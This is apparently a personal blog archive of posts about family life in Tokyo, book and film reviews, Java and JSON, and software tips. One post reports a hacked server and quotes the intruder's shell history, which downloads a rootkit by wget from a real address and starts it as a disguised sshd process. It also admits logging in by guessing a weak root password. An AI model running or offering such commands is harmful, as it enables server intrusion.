Cissy and Kai were supposed to come back from Shanghai today, but since I have to go on a business trip to Fukuoka for most of next week, we delayed this until next weekend. Here are two data points concerning their long absence.

I like pizza, but so far have very rarely ordered a delivery since coming to Japan, partly because I avoid telephones as much as possible, mostly because it is expensive. Last weekend I created an online account with Domino's, and can now order food without even touching the keyboard in about eight clicks of the mouse. Which I did. Three times this week. They keep sending me discount coupons by email. It is a vicious cycle.

Yesterday, Faiz came over to watch some DVD (by bike, nonetheless. The trip took him about an hour, considerably less than when I last tried that, for which I credit his expensive gear). He commented on the increased level of disarray in the usually shipshape apartment. And that was after I had cleaned up.

Shadow had done three years in prison. He was big enough and looked don't-fuck-with-me enough that his biggest problem was killing time. So he kept himself in shape, and taught himself coin tricks, and thought a lot about how much he loved his wife.

The best thing - in Shadow's opinion, perhaps the only good thing - about being in prison was a feeling of relief. The feeling that he'd plunged as low as he could plunge and he'd hit bottom. He didn't worry that the man was going to get him, because the man had got him. He was no longer scared of what tomorrow might bring, because yesterday had brought it.

After his release from prison, Shadow meets a strange man, who calls himself Mr. Wednesday, and whom he eventually agrees to work for. As it turns out, Wednesday is not just a strange man, but an ancient European god, who has been carried over to America by the Vikings. Like all immigrant Gods, he has found America to be a bad place: After a generation or two, the number of faithful dwindles and the immortals' power and glory rapidly fades away. Wednesday is currently on a crusade to round up other ancient deities and lead them into a war against the modern American idols, such as the Internet, Mass Media, the Car, or the Credit Card.

The book alternates between three modes: We get to follow Shadow in how he deals with a chain of supernatural events while travelling across the United States, we get to follow him behind the scenes in a series of dream sequences (that part did not really work for me), and we get to see a number of vignettes where Gods struggle with their place in modern life. Gaiman obviously did a lot of research into mythological characters, but he also shows a lot of restraint in using these references in that he does not hit you over the head with explicit explanations or introductions. Instead, the reader is encouraged to gather the background information by himself.

Production on the Vietnam War epic Tropic Thunder (the movie in the movie) seems doomed: Costs are sky-rocketing, the schedule is slipping, and the director is unable to control his three prima-donna stars (the ageing action star, the Australian method actor, and the flatulence comedian). When the studio threatens to pull the plug, the director, the author, and the special effects guy come up with the plan drop the actors into the middle of the jungle, and let real fear inspire their acting. Unfortunately, they stumble into the territory of real heroin smugglers, and mistake them for scripted Vietcong.

Tropic Thunder (the movie about the movie in the movie) is written, produced, directed, and starred by Ben Stiller. As a big Ben Stiller fan, I have to agree that his recent offerings have been entertaining but not very memorable. With Tropic Thunder, however, he is back on the top of his game. I am also an aficionado of movies about movies, and it does not do shame to that genre, either. Wonderful cast, too, starting with the actors (Stiller, Robert Downey Jr., Jack Black, and the excellent Brandon T. Jackson and Jay Baruchel), but also the director (Steve Coogan), the agent (Matthew McConaughey with weird hair) the Vietnam vet author (Nick Nolte), and a delightfully deformed and foul-mouthed Tom Cruise.

8 points

Continuing our inspection of Old British Guys On Stage, Faiz and me went to see (the remaining members of) The Who tonight. While I was more or less at home with The Police, I really did not know much at all about The Who. In fact, the only song I could name off the top of my head turned out to be Pink Floyd's. Luckily, I did recognise about half of the songs that they played.

The concert took place at the venerable Budokan, which was originally built as a martial arts venue for the Olympic Games in 1964. The first rock band to perform there were the Beatles two years later (another perfect fit for the Old Guys Series). While Tokyo Dome has nicer (read: newer) facilities, the Budokan has the advantage of being much smaller (14000 seats as opposed to 55000), so that you can actually see the band.

The are basically two very different types of X-Files episodes, the mythology shows, that make up the main story arc about the government conspiracy to hide an alien invasion, and the monster-of-the-week shows that stand on their own and feature a wide variety of paranormal situations. The monster episodes are also quite often very funny.

The first X-Files movie falls into the first category, and because of the fact that it was meant to fit in between seasons five and six, it did not really work as a movie.

I Want To Believe shows Mulder and Scully several years after the X-Files division has been disbanded. Mulder has been disgraced and lives in isolation, Scully is a physician at a Catholic hospital. When a defrocked priest claims to have visions that could help save the live of a missing FBI agent, the Bureau calls them back in.

This one is definitely a monster show: There are no aliens, and the mythology is not even mentioned (which would have been difficult after the apparent dead end at which the final episode arrived, what with almost everyone dead and the destruction of humanity imminent). Most importantly, the film stands on its own: You do not need to know anything about the X-Files, no other characters from the series other than Mulder and Scully (and a bit of Skinner) appear, and the plot is in its entirety contained in the film's 104 minutes, including a real conclusion, something that many Hollywood movies aiming for a sequel intentionally obmit. On the other hand, there is not too much fodder for the X-Philes, although the depiction of the relationship between Mulder and Scully is nicely done.

It is not a funny one, though, quite the opposite. There are also no computer-generated monsters, massive special effects, larger-than-life supervillains, or a great many action sequences. It is a serious thriller, with just a sprinkle of the paranormal.

7 points

I have been known to put forth a thousand and one reasons to love Perl, and an equal number of things that I want to see fixed in Java. Well, for the last three years I have professionally been programming in Java exclusively, and even more telling, I write Java code in my spare time, too. So I suppose it is time to come clean and update the official party line.

• I still maintain that a team of skilled developers can be more productive using dynamic languages such as Perl (or Python, or Ruby), and that they will enjoy it more, too.
• I also concede that for a development environment that consists of bigger teams with significant member turnover and programmers of varying skill levels, the restrictions on style and the relative verbosity that Java enforces can be very helpful to ensure a minimum code quality.
• While Java development requires a lot of tooling that a dynamic programmer could do without, once you get used to the tools, which are now very mature and numerous, they can do amazing things for you, most of which depend on deriving useful information from the Java code, something that is very hard to do in a dynamic language.
• Much of the boilerplate traditionally necessary in Java has been eliminated with the release of Java 5 and EJB 3. Most of what is left can be automatically created by tools.
• Regardless of the Java language, the Java Virtual Machine, especially Sun's Hotspot VM, is a remarkable piece of technology (I hear that Microsoft's Common Language Runtime deserves an equal amount of respect). It is not to Perl's advantage that both Python and Ruby, as well as a couple of hot new languages like Scala, can run on top of the JVM, whereas Perl does not.
• I like Sun Microsystems themselves, especially since they have started embracing the open source model in earnest.
• I still don't like PHP.

A Programming Note concerning Thilo's Tech Radio: To celebrate the occasion let us all listen to an excellent episode of the Java Posse. The recording quality is a bit poor, but the content is excellent.

In order to include programmes from outside the IT Conversations Network, I had to move the RSS file to my own server, so please re-subscribe to the new feed (put together using the very promising Spokenword site, currently in public alpha).

• Monuments
• Pepper
• Red November
• Carcassonne: Mayflower

Mr. Fletcher (Danny Glover) runs a video rental store in Passaic, New Jersey. Business is slow (probably because he still only offers VHS) and is unlikely to be able to pay for building repairs to avoid demolition, so Fletcher decides to take a few days off to spy on a successful DVD store and learn their business secrets. He leaves his store in the hands of his adopted son Mike (Mos Def) and his paranoid friend Jerry (Jack Black). Unfortunately, a freak accident at the local power plant has left Jerry magnetized and his mere presence erases all the tapes. The only solution is for Mike and Jerry to quickly reshoot the movies themselves, starting with Ghostbusters and Rush Hour 2. Their sweded films turn out to be a big success.

8 points

On the train to work today (yes, I know that it is Sunday, let us not talk about it) I was standing next to a lady who was proof-reading a recommendation letter for Tomoko , a customer support representative (name changed to protect the innocent). I know about that because I was reading along with her, a reprehensible habit that I often exercise during commutes.

I was immediately shocked by the enormity of the letter. My image of a recommendation letter has always been something short, maybe two or three paragraphs with some padding. This thing, however, was four full pages in a reasonable small font with meager margins and little line spacing.

My predicament came in the form of an unusually unfortunate spelling mistake in a sentence that, judging by the progress of the red marker pen across the page, the proof-reader had already accepted:

Tomoko was able to handle many males in a short period.

Now, what was I suppose to do? One wants to help, of course, but that would entail admission to prior inappropriate behaviour.

I alighted hoping that Tomoko's career will not suffer.

I have just returned from an extended weekend trip to Shanghai to visit Cissy and Kai.

On the flight there, for the first time ever, I exchanged words with my fellow passengers: I was sitting between a Finnish former Ryanair flight attendant (then based in the euphemistically named Frankfurt-Hahn airport) , and an Israeli manufacturing equipment salesman (who travelled with a box of cutting instruments). Both of them knew a quite a bit about airplanes, and about operating the emergency exit, which is what we were seated directly in front of. The Israeli, a frequent flyer, even had had to go out through it and across the wing once. Fortunately nothing of the sort happened, even though it was a bumpy ride, to the extent that food service was delayed, but not to the extent of it actually having to be cancelled.

On the flight back, I finally got a chance to ride the Shanghai Transrapid, pride of German engineering and too expensive for Germany itself to build, from Shanghai to Pudong International Airport. This magnetic levitation train takes just ten minutes for the thirty kilometres. Wikipedia claims the operating speed to be 430 kmh, but it was only going 300 today.

Northwest Airlines, which had over the weekend agreed to merge with Delta and changed their on-board entertainment program accordingly, decided to place me at the emergency exits again, which is fine as it provides for extra leg room and you can look at the flight attendants also sitting there. No conversations this time, except to apologise for the back of my seat refusing to stay upright and instead gradually reclining at the expense of the people in the next row , but I got a good book from the airport bookstore (Neil Gaiman: American Gods, more on that later).

About a year ago, Japan started fingerprinting and photographing all foreigners on entrance, and today was their first chance to get at my biometrics. I, of course, oppose the procedure on principal grounds, but there was nothing to be done about it (short of subjecting to deportation). Maybe a Christmas donation to Amnesty International. Interestingly enough, foreign residents in Japan used to be fingerprinted as part of their alien registration until 2000, when the practice was dropped because of a public outcry over invasion of privacy. This time around, all visitors (not only residents) are affected, the data is stored for 70 years and will be shared upon request with other agencies in Japan and abroad. I suppose this is only a stop-gap that was easy to implement because foreigners do not have much of a lobby, and the idea is to extend to program to eventually include Japanese citizens as well. Did I mention that German passports now include finger-prints?

First movie in a long time!

Tony Stark (Robert Downey, Jr) is a genius inventor, both incredibly wealthy and totally irresponsible, who has made his fortune creating and selling military weapons. During a kidnapping he suffers a severe heart injury that forces him to attach a power generator to his chest. His kidnappers try to make him build a missile for them, but instead he crafts a metal combat suit and turns into Iron Man.

Pretty much the only thing going for this comic book adaptation is the banter between Stark and his personal assistant (Gwyneth Paltrow), and with his buddy in the military (Terrence Howard). The plot is not all that inspired, and it does of course set up sequels (and tie-ins to other Marvel characters), and the action sequences are mostly forgettable (I did like the scene with the two fighter planes, though).

I had heard that the extra scene after the end credits gives a whole new angle to the movie (and it was even announced in the Japanese subtitles so that everyone stayed in their seats), but it was nowhere near an important last shot (think Prestige), just a teaser for the likely sequel.

5 points

Kai (who has two teeth now and can turn around from belly-up to belly-down by himself) embarks on his first big trip tomorrow: He and Cissy are going to Shanghai for six weeks. This obviously involves an airplane, and we hope that he does not object to a three-hour flight. The sound of a busy street with lots of cars passing by seems to soothe him, so maybe he'll actually like it. The real challenge comes in December, when all three of us are going to fly to Germany for Christmas and New Year.

Bananas have always been the most affordable fruit in Japan and become a cornerstone of my diet. Unfortunately, the so-called Morning Banana Diet (eat only bananas and drink water at room temperature for breakfast) has recently become extremely popular, and banana sales have spiked 70% compared to last year. Retail prices have soared as well, and quiet often bananas even sell out during the day.

Last year the same thing happened with natto, and after scientists debunked the magic weight loss properties everything went back to normal.

Erasmus (the book is written in first person) is a young fraa at the Decenarian math of Saunt Edhar, whose task (in addition to studying alongside his fellow fraas and suurs, of course), includes winding the big clock in the Mynster every day during the aut of Provener. All of the avout are in preparation for the annual Apert, when the doors of Saunt Edhar will open to the Saecular world for ten days. This year will be a Decenarian Apert, and Fraa Erasmus eagerly looks forward to reconnect with his family, his first chance in the decade since he was collected.

While Stephenson starts out like his take on Harry Potter, you later get pieces more in the spirit of Jack London (a trek across the North Pole), Larry Niven (orbital adventures) and Dan Simmons (philosophising about other universes). The book sports a detailed glossary, a chronology of the four millennia leading up the story's opening, and a supplement of three mathematical exercises. An album of music inspired by the book is available on CD separately.

Part Fourteen: The 3D glasses at the Magic Lamp Theater on the Arabian Coast in Tokyo DisneySea.

Tokyo has not only one, but two Disney theme parks, Tokyo Disneyland and Tokyo DisneySea, and even though they attract a combined 26 millions of visitors a year and are just 11 km away from our apartment (they sit right next to each other, complemented by a couple of Disney resort hotels, shopping malls, cinemas, and venues for musical performances), I have not been there yet. Well, this week Jutta wanted to go, and so I accompanied her to DisneySea (because it has faster and scarier rides). She even made me ride a few of these so-called attractions that I would otherwise have stayed away from. The biggest concern I always have with theme parks are the potentially very long lines. But this was not an issue today: Because the park was not very crowded, probably because there was supposed to be rain, which did not happen, it was sunny all day long, most lines were just ten minutes or less long. You could get into even the top attraction in less than half an hour, or much less if you got a Fast Ticket in advance (assigns you a time slot in which you have to show up).

Three months of paternity leave are up, and I have to go back to office this week. The timing is a little unfortunate, as my sister chose just the same week to visit us. At least it is a short week, because Monday is a holiday (Respect for the Aged Day).

Cissy pointed out today that the English I use when talking to native speakers is much better, compared to when I talk to her. I believe she has a point there. I seem to be an accomodating speaker. The first time I really noticed that was when I had a Spanish room-mate at university, and instead of correcting her somewhat broken German I started using its peculiar grammar myself. And now my English has become distinctly Japanized, as far as sentence structure, pronunciation and choice of vocabulary are concerned (a change that I hope is reversible).

The big problem with all this is that I am responsible for teaching proper German to my son. There are no other native (or even non-native) speakers around to augment or balance what he hears. For the moment, however, we communicate in the pattern just described: Kai makes happy grunting and giggling sounds, and I echo them.

Quick software tip: MPEG Streamclip.

Every picture viewer these days can also rotate the image by 90 degrees, but the same feature is much less available for video, so that I had to do quite a Google dance to find a way to fix a clip I shot with my mobile phone turned sideways. iPhoto cannot do it, Preview (which is surprisingly competent for photo editing ) does not do video, VLC does not do it, and I do not know how to do anything in iMovie. Quicktime Pro can do it, but that is not free. MPEG Streamclip is free, runs on Macs and Windows, and has a great number of features to cut and convert videos (if you know where to find them in the rather clunky UI).

One of the many tech podcasts I am subscribed and occasionally listen to are the Conversations Network's IT Conversations, which is a rather high-volume feed comprised mostly of interviews with and conference presentations by IT professionals. Once in a while a real gem comes along that I want to recommend to people. At the same time, I do not feel that I have any useful comments to add and do not want to post just the link and paste the description here, so instead I will throw them into an RSS feed for your listening pleasure. You can expect this to be low-volume (maybe an episode a month), but (I hope) fairly interesting. There are two entries now, Kent Beck with anecdotes about Design Patterns, Test-Driven and Extreme Programming, and Guy Kawasaki about the Art of Innovation.

Quote of the day, by Paul Graham.

If you don't think you're smart enough to start a startup doing something technically difficult, just write enterprise software. Enterprise software companies aren't technology companies, they're sales companies, and sales depends mostly on effort.

After three months here, Cissy's parents went back home to Shanghai last week. During their stay they have taken over running the household, doing all the cooking, dish-washing, shopping, laundry, cleaning and also helped to keep Kai happy during the day (and especially from six to ten in the morning so that we could get some extra hours of sleep). As a result, while Cissy was still reasonably busy, the first two months of my paternity leave have been almost a holiday.

From this week on, the daily chores fall back to us, and after another month my leave is up and I have to return to work, so Cissy will have to cope by herself from Monday to Friday.

France, 1815: Young sailor Edmond Dantes returns home to Marseille, about to marry his fiancee Mercedes and be promoted to ship's captain. Unfortunately, three jealous friends conspire to get him arrested as a Bonapartist and he becomes a secret political prisoner instead. On the prison island he begins a friendship with another inmate, an Italian priest and scholar, who over the course of the following years provides Edmond with a comprehensive education and also information about a great treasure hidden on the island of Monte Cristo.

Edmond finally escapes and uses his new-found fabulous fortunes, combined with endless patience and merciless determination, as well as thorough knowledge of the world, its peoples, and its languages, to put into motion an elaborate plan for revenge. Using a number of fake identities, most notably as the Count of Monte Cristo, he seeks out the trust of his unsuspecting enemies and arranges their downfall.

The novel is available in its entirety from Project Gutenberg, and thanks to Youtube, many television and movie adaptations are readily viewable online, too (at least in parts), so that it is easy to take a look and see what got translated to the screen and how. From what I have seen I can recommend the French 1998 miniseries with Gerard Depardieu and Ornella Muti (which seems to introduce an additional major character), and the Japanese anime Gankutsuou (which presents the tale as a space opera)

The crime lords of Gotham City are having a tough time against the combined forces of Batman (and Batman wannabes), the police squad led by Lieutenant Gordon and the new District Attorney Harvey Dent. So they turn to the Joker, an anarchist super-villain, who seems competent and crazy enough to take on Batman, but who is also mostly interested in wreaking as much havoc as possible in the process. To quote Butler Alfred, some men just want to see the world burn.

Of all the recent superhero movies, Nolan's Batman is definitely the darkest. Possibly the best one, too, and if they want to give Heath Ledger his posthumous Oscar for the Joker, I am fine with that, but the film is not as great as its current IMDb ranking (which hopefully will average out over time) would make you think. I'd put it ahead of Batman Begins, but behind Memento and Prestige.

8 points

Last week, Google completed canvassing Tokyo so that you can now see the entrance hall of my house. Many people (and not only those being captured entering love hotels or urinating in the street) are not at all comfortable with this level of privacy invasion. Google may be taking things too far and risk their favourable reputation of doing no evil.

If someone has recommendations for a free charting application that is as easy to use as Google Docs Spreadsheets but has more options how to scale and stack the data, please let me know.

A public service announcement to the German language audience and another fine example how talented content creators can use the Internet to reach their audiences without the help of big media: Wolfgang Back and Wolfgang Rudolph, the two presenters of WDR Computerclub, the first and longest-running German TV show about computers, which was cancelled in February 2003, have in July 2006 revived the format on the Internet (called Computer:club 2), first as an audio podcast, and since July 2007 also with professionally produced video episodes, that look just like their former TV show.

With some many web sites out there that let you create accounts, you have to remember a lot of passwords these days. The easiest approach is to just use the same (or a small number of) password for all sites, which is of course a real security threat: If your password is leaked on a single site, all your accounts are compromised. The safest approach are unique and completely random passwords for all accounts. This however requires that you write down the passwords somewhere or have the web browser remember them, but then you will not be able to log in if you forgot to bring your memo or use a different computer.

Enter SuperGenPass, a free bookmarklet password generator. It is a small JavaScript program that uses a secure hash function (MD5) to derive site-specific passwords from a master password. You can then use these passwords (which look very random and do not betray the master password) for your various accounts. All computations are done in your browser, your master password is not sent or stored anywhere, and since the computation is reproducible (same master password and same site always yields the same password), there is no need to store the generated passwords either. SuperGenPass is installed just by adding a bookmark, and it integrates nicely with the sites' login pages, filling out the password boxes automatically (and if that does not work, you can still use copy-paste).

In effect, you get the convenience of using a single password for all sites, with almost the security of using random passwords. Of course, if your master password should get out (and it could theoretically be determined by a brute-force attack), all the derived passwords are also cracked. So for really important accounts, you should still use something else (or at least, a different master password).

Stanley Yelnats, whose name reads the same backwards and forwards, is cursed by his family's history of bad luck, which started when his no-good-dirty-rotten-pig-stealing-great-great-grandfather did not actually steal a pig, but broke a promise to a one-legged Gypsy. And so it does not come as too big a surprise when he is convicted of a crime he did not commit and sent to a juvenile detention centre in the desert, where he has to dig a hole every day, five feet deep and five feet across. This is supposed to be just a character building exercise, but the Warden takes a strange interest in what the boys dig up.

I have been rather lucky at the dentist so far: Even though I have always been eating a lot of sweets (which did not make me fat, either) and am not very dedicated or proficient with the tooth brush, I was spared cavities until my early twenties. I believe I can thank the daily fluoride tablets that I had as a child for that. Before coming to Japan I had minor cavities on three adjacent teeth on the lower right, the kind that the dentist would find during the annual inspection and immediately take care of. And three years ago there was a painful wisdom tooth that the dentist decided to extract rather than try to repair.

But now I am in the middle of root canal treatment. Two weeks ago at the regular check-up the dentist made the shocking discovery of advanced dental caries on the second upper left molar. He was surprised that I was not in pain already. I was surprised that the problem was not detected at the last check half a year ago. The damage is supposedly also clearly visible on the x-ray that was taken, although I have to take the dentist's word for that, I cannot make sense of it at all.

At least in Japan, a root canal treatment takes five or six sessions, with about a week in between. I just had the first one, in which the tooth was drilled open to remove the dental pulp, filled up with some medicine/disinfectant/anti-biotic and temporarily closed. The procedure was done anaesthetised and completely painless (thanks!). I am assuming that the scariest part of the operation is behind me now. The drugs have worn off, I had meals, and the tooth feels only a little uncomfortable. The next three sessions will be opening the tooth again to renew the medicine filling and check on its effectiveness (for which anaesthetics are not necessary). After that the tooth will be filled with (according to Wikipedia) gutta-percha, a natural latex, and capped with a crown, which apparently is rather critical/complex/costly procedure in itself.

What I did was take all the spades out of a deck of cards plus a joker. Ace to King = 1-13. Joker = 14. I shuffled the cards and dealt them. The order in which they came out of the deck became the order of the stories, based on their position in the list my publisher sent me. And it actually created a very nice balance between the literary stories and the all-out screamers. I also added an explanatory note before or after each story, depending on which seemed the more fitting position. Next collection: selected by Tarot.

A collection of fourteen short stories (ranging from about twenty to about eighty pages) about undergoing an autopsy while still alive, meeting The Man in the Black Suit, a travelling salesman contemplating suicide, gangsters in the Thirties, escape from a torture chamber, vampires in the West, occult symbols that can kill, a theory of pets, a scary painting that keeps changing, a crazy restaurant waiter and his big knife, the feeling you can only say what it is in French, a haunted hotel room, hitchhiking with the undead, and a lucky quarter.

Dear server administrators,

I think your server (72.249.xx.xx) has been hacked and is being used
for malicious purposes right now.

During a routine check of my own server (based in Germany) I found
that it was being attacked (brute-force password guessing) from
72.249.xx.xx, which is your server.

Trying to find out what to do about this, I tried to log in (via ssh)
to your server, which was trivially possible (the root password is
very, very simple, I guessed it on my first attempt).

Please change your password ASAP.

While logged in to your server, I could see that a process
was probing other servers on the Internet to find more weak passwords.
I also saw another user logged in (as root) from 79.116.xx.xx,
which may or may not be the attacker.

Since I have no business nosing around on your server, I logged out
again without doing anything.

Best regards,

Thilo Planz

I wish my UNIX-fu was stronger, I did not really know what to do about this, which is probably a good thing, since I really have no business being on their server. But still, I felt like killing this guy's processes and blocking his IP. Although, I suppose this whole thing is an automated process, and he would not even notice me slapping his fingers.

What I could see is that he was spawning lots of ssh processes, apparently searching whole IP ranges for easy root passwords (which is how he must have gotten to this American high school's server).

The command history had this interesting sequence, which downloads a root kit and then starts a hidden web server to propagate itself or maybe remotely control the machine.

  252  cd /var/tmp
  253  ls -a
  254  wget http://63.249.225.72/icons/stealth.tgz
  255  tar zxvf stealth.tgz
  256  rm -rf stealth.tgz
  257  mv l .ls
  258  cd .ls
  259  ./h -s "/usr/sbin/sshd" ./httpd

Alan has just sold his shop and purchased a house that he plans to write his story in. He spends the rest of his time helping Kurt with his project to set up a free neighbourhood Wi-Fi network. Adam's peace is destroyed by visits from his younger brothers Eric, Fred, and George, who are a set of Russian nesting dolls (Alvin comes closest to human in his family: his father is a mountain, his mother a washing machine, the other brothers Ben, Charlie, and Dean are a psychic, an island and undead). As children, they have jointly murdered Daniel, who was intolerable in the first place and is now really angry, apparently planning to revenge himself by killing his brothers.

Sometimes billed as science-fiction, I would rather call Someone a fantasy or a horror novel. I really liked the part about Albert's family (and hope to see a future short story based in that world). The real-world subplot about the Wi-Fi network felt out of place, however. I see the need for showing how he interacts with humans, but it just felt like a lecture. It would have been more interesting to for example follow Aaron's house remodelling efforts, or maybe have him open another shop.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'd like to experiment with signed and encrypted email.
So if anyone is using OpenPGP, please let me know your 
public keys.

Mine is:

mQGiBEhtwQARBACWVpAxTId7ZoUMoLkbjKGMqAszgEvmEyJO2H6gxhmhDkFVYgAJ
iH/PPZxS8fE/n5KOZBjgVGdW+BMQQknjMWMjLSvIf1/LNxE9pYeoBMVfZTXHycXk
+wd3JxFEqlDbW8WZMQQiLAkxpE7B2gtmyQhoCT9w/ZIkmZYjDnYL+TJpPwCgxLkj
4LXaEXFnNn3Z7PpJ7I7Uk1MEAJMuZbPpf/YT0rx9enEHmwrTs9QV5+Qif2NR44oe
p0ZlJXBcShY1TX3yVDwVS9wkpIGupzsNToJd5zw4U7u4rI/vPCs6F3n6wVbuXXfC
Jv/hODPxSHMVTp/Iy3EVn3Yrkmp7IordwKeTPEbG98z7erg4bq6Ox36lgILGfTST
ywyfA/0b8ZUQ5jyZ8XdEmCt5ntpgjjMqJT+bYCot/iaJoI5Io4cyURqe062r9PWY
jXqn2LTqTOPStp6CaV0zPgRE8cHe3LDuR9loqxme/WYIDnWsV0yLt80SUL5j0qh+
pmOvb+Z0TiWC+N3Dx4i0ywxjvhYCelf57vxy5lmb6+zP5AQRgrQfVGhpbG8gUGxh
bnogPHRoaWxvcGxhbnpAd2ViLmRlPohmBBMRAgAmBQJIbcEAAhsDBQkDwmcABgsJ
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Thanks,

Thilo
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For years now, the Tokyo trains and subway stations have been advertising that the police are now on high alert, that increased security is being implemented and that any suspicious persons, objects or activities are to be reported immediately. Thanks to the upcoming G8 summit in Japan, they are currently putting some extra effort into it, such as shutting down all coin lockers in subway stations.

The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents. We live on a placid island of ignorance in the midst of black seas of infinity, and it was not meant that we should voyage far. The sciences, each straining in its own direction, have hitherto harmed us little; but some day the piecing together of dissociated knowledge will open up such terrifying vistas of reality, and of our frightful position therein, that we shall either go mad from the revelation or flee from the deadly light into the peace and safety of a new dark age.

One of the best-known horror short stories, The Call of Cthulhu is presented in documentary style, as a series of notes found among the papers of the late Francis Wayland Thurston, of Boston. Mr. Thurston himself has been pulled into the mystery by stumbling upon notes left behind by his late grand-uncle, who in turn had been piecing together reports about outlandish rituals and outbreaks of mania, as they happened around the world, while still strangely connected to each other.

凯 [kai]

triumphant; victorious ...

爱德华

Edward ...

爱 [ai]

love; affection; to treasure ...

德 [de]

virtue; kindness; heart; mind ...

德国 [de guo]

Germany ...

华 [hua]

China; magnificent ...

For the last few months, I have been using Mozilla Prism to read my (Google) mail. Prism turns web pages into standalone applications so that I do not have to log in to my Google account with my main web browser.

Today I switched to Fluid, which is a Mac-only (Leopard-only, in fact) application that does the same thing, but is more polished than Prism. For one thing, it is more tightly integrated with the Mac: The GMail application it creates is a real standalone native application (works better in the Dock than GMail Prism, which was only a document), it uses Growl notifications and software auto-update, there is a full screen mode, and it can also create MenuExtras (so that you could get the latest slashdot articles in a pulldown next to the battery life indicator). It is based on WebKit rather than Gecko, has a lot of preference panels, and you can write extensions using Greasemonkey-compatible JavaScript or Objective-C. I also had a weird performance issue with GTalk in GMail in Prism (typing into the chat window was painfully slow), that I expect to be gone now.

Update: One problem with using Fluid is that apparently all WebKit applications share the same browser cookie storage (and there seems to be no way to turn that off). This makes it currently impossible to keep login information separate from Safari, and between Fluid applications. Fortunately, I do not use Safari, and Camino and Firefox of course have their own cookie jars. On the other hand, a lot of applications embed WebKit these days, and I am not at all comfortable with the notion that they all potentially leak state and clobber themselves.

Marcus is a high school student in San Francisco. He is smart and tech-savvy enough to outwit his school's surveillance systems (keystroke loggers on the classroom laptops, RFID on library books, gait recognition cameras), so that he can chat and surf during classes and leave the school grounds unnoticed. Then terrorists blow up the Bay Bridge and the Department of Homeland Security takes over control of the city, implementing all kinds of security measures. Marcus' attitude towards authority, combined with his technical skills, do not go over well with the DHS and they give him a hard time, which motivates him to put his energy to sabotaging the war on terror, trying to show the insanity and futility of that campaign, while putting him and his friends at a much greater personal risk than he could ever have imagined.

Needless to say, this is a very political book, trying to raise awareness about how Western democracies are quickly turning into police states. It is also spiked with interesting technology pieces, all of which seem much more science than fiction, most of which are probably already in place. In fact, reading it alongside with real news articles is more than a bit scary.

It's a boy!

I have written about my troubles with using the XO as a book reader before, and while nothing much has changed software-wise, the recent success of Amazon's Kindle and Apple's iPhone, both of which make excellent readers, has revived the eBook business and some of the new content is accessible on the XO as well.

There are basically three big sources for eBooks: Project Gutenberg, Creative Commons, and commercial publishers. Project Gutenberg is the largest collection of free eBooks, which it creates from works that are (under US copyright law) in the public domain. Because copyright law has repeatedly been changed to automatically extend copyright protection, very few works published after 1923 are in the public domain, which is a big issue for music and movies, but fortunately does not affect a large bulk of world literature. The Creative Commons are a family of copyright licenses that are less restrictive than traditional publication licenses. It particular, they allow for redistribution and derivative works. Finally, there are commercial eBook publishers, such as Amazon, but they usually require copy-protection software that allow the book to be read only on specific devices (and not the XO-1).

A nice collection of freely downloadable books is ManyBooks.net (which is apparently being run by one guy and served off his Mac mini.) ManyBooks republishes Project Gutenberg texts, together with public domain or creative commons works from other sources. All the books are available in a number of different formats, so that you can choose the one that best works on your reader.

iPhone PDF looks great on the XO-1. Now I only wished that the Reader application could remember what page I last stopped reading. That it does not do that is especially weird considering that the Journal shows a thumbnail image of that page. Thankfully the PDF starts out with a chapter index of clickable links.

If you can read this, the move to the new server worked. If anything seems to be not working properly, please let me know.

The new machine is a not a real piece of hardware, but a virtual server, the main benefits being that it is cheaper, and easier to backup or transport. It also helps save resources by avoiding unused capacities that would still consume electricity and rack space. The drawback is that it has to share CPU and memory with other virtual servers, but considering that the hardware it is replacing was five years old, there is probably still a net power gain. Only disk space is a little slim now (ten gigabytes instead of thirty-two).

After Obi-Wan Kenobi, Rocky Balbao, John McClane, John Rambo, and Ellen Ripley it is Dr. Henry Jones, Jr.'s turn to bring an iconic movie trilogy and his aged self back to the silver screen. The film is getting a lot of harsh criticism from die-hard fans, who are always quick to compare it to the widely reviled Star Wars prequels and blame George Lucas for the use of CGI, for the presence of aliens, for unrealistic action sequences, and a silly plot. But I think Indy is doing okay, and also keeping to the style of the series. The biggest difference between Kingdom and the earlier films may not be Soviets instead of Nazis, or extraterrestrial instead of religious artefacts, but the fact that, just like Indy himself, his original audience is twenty years older now.

7 points

Now, there is an uninspiring chart. Maybe I need to tweak the scales a little. Strictly speaking, though, I am at my fattest in recorded history.

Gibson and Sterling collaborate to create an alternate nineteenth century, where Babbage's Analytical Engine has actually been built and the Information Revolution coincides with (and propels) the Industrial Revolution. Power in Victorian England has been seized by the Industrial Radical Party, with hereditary lords and Luddites alike being pushed to the sidelines.

The book is a mostly atmospheric piece with several vignettes (translation: it is a bit in want of a coherent story), that detail episodes in the lives of Londoners at the time: A prostitute who gets caught up in political spheres, a palaeontologist who stumbles upon a stack of Engine cards and into a violent riot, and a diplomat/spy who is plagued by visions of an all-seeing Eye.

In spite of the shift from cyberpunk to steampunk, the genre's typical topics are all to be found: The subculture of the tech-savvy clackers that know how to program the steam-powered Engines (using punch-cards), the dystopian view of the ever-watchful, data-gathering surveillance state, the mysterious and dangerous artefact that serves to drive the story (in this case a stack of cards created by the Queen of Engines, Ada Lovelace), even the fascination with Japan (which here has just opened itself to the world and is about to have its own Industrial Revolution).

JSON, which stands for JavaScript Object Notation is a lightweight data-interchange format. Lightweight means that the standard is very concise, there is not too much overhead (boilerplate) in the data files, and the format is easy to read and write for both humans and machines. It is generally used as a replacement for XML (which kind of fails on all three counts), and has gained popularity with the advent of Web 2.0 and AJAX (even though the X in AJAX stands for XML).

I have so far been using JSON only informally to pass data around in JavaScript applications, but when starting to work with JSON in Java (using proper codec libraries), I found out that unfortunately quite a bit of the syntactic sugar for object literals in JavaScript has been removed from JSON, ostensibly to make it even easier to write parsers, but at the expense of convenience for human authors. The following is valid JavaScript, but not valid JSON:

{   a :  1,  /* set a to 1*/
    b : 'two'
}

• no barewords allowed for keys
• string literals have to be double-quoted
• no comments allowed

If you want to write valid JSON, you have to say

{
    "a" : 1,
    "b" : "two" 
}

This does not make the format all that much easier to hand-write than XML anymore (although there are still less keystrokes involved), and it is also confusing for JavaScript coders, who are bound to create a lot of pseudo-JSON that works just fine within the realm of JavaScript. Maybe I should take another look at YAML.

PS: I would really want to also be able to write the trailing comma like I do in Perl or Java, which is not valid in JavaScript either, even though it works on Firefox (but only there):

